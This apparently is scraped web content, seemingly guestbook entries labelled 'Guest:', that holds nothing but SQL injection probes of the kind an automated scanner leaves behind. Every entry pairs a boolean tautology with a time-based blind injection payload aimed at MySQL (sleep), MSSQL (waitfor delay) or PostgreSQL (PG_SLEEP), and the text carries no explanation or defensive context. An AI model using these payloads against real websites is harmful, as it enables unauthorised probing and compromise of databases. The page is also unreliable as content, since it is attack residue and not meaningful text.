(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
-1' OR 2+464-464-1=0+0+0+1 -- 
-1; waitfor delay '0:0:15' --

Guest:
-1' OR 2+464-464-1=0+0+0+1 -- 
-1); waitfor delay '0:0:15' --

Guest:
-1' OR 2+464-464-1=0+0+0+1 -- 
-1 waitfor delay '0:0:15' --

Guest:
-1' OR 2+464-464-1=0+0+0+1 -- 
z3JPkegc'; waitfor delay '0:0:15' --

Guest:
-1' OR 2+464-464-1=0+0+0+1 -- 
8wDwj5n6'); waitfor delay '0:0:15' --

Guest:
-1' OR 2+464-464-1=0+0+0+1 -- 
2nR45FcW')); waitfor delay '0:0:15' --

Guest:
-1' OR 2+464-464-1=0+0+0+1 -- 
qSULFcIn' OR 293=(SELECT 293 FROM PG_SLEEP(15))--

Guest:
-1' OR 2+464-464-1=0+0+0+1 -- 
GpTSDkK2') OR 995=(SELECT 995 FROM PG_SLEEP(15))--

Guest:
-1' OR 2+464-464-1=0+0+0+1 -- 
f2OVOucv')) OR 560=(SELECT 560 FROM PG_SLEEP(15))--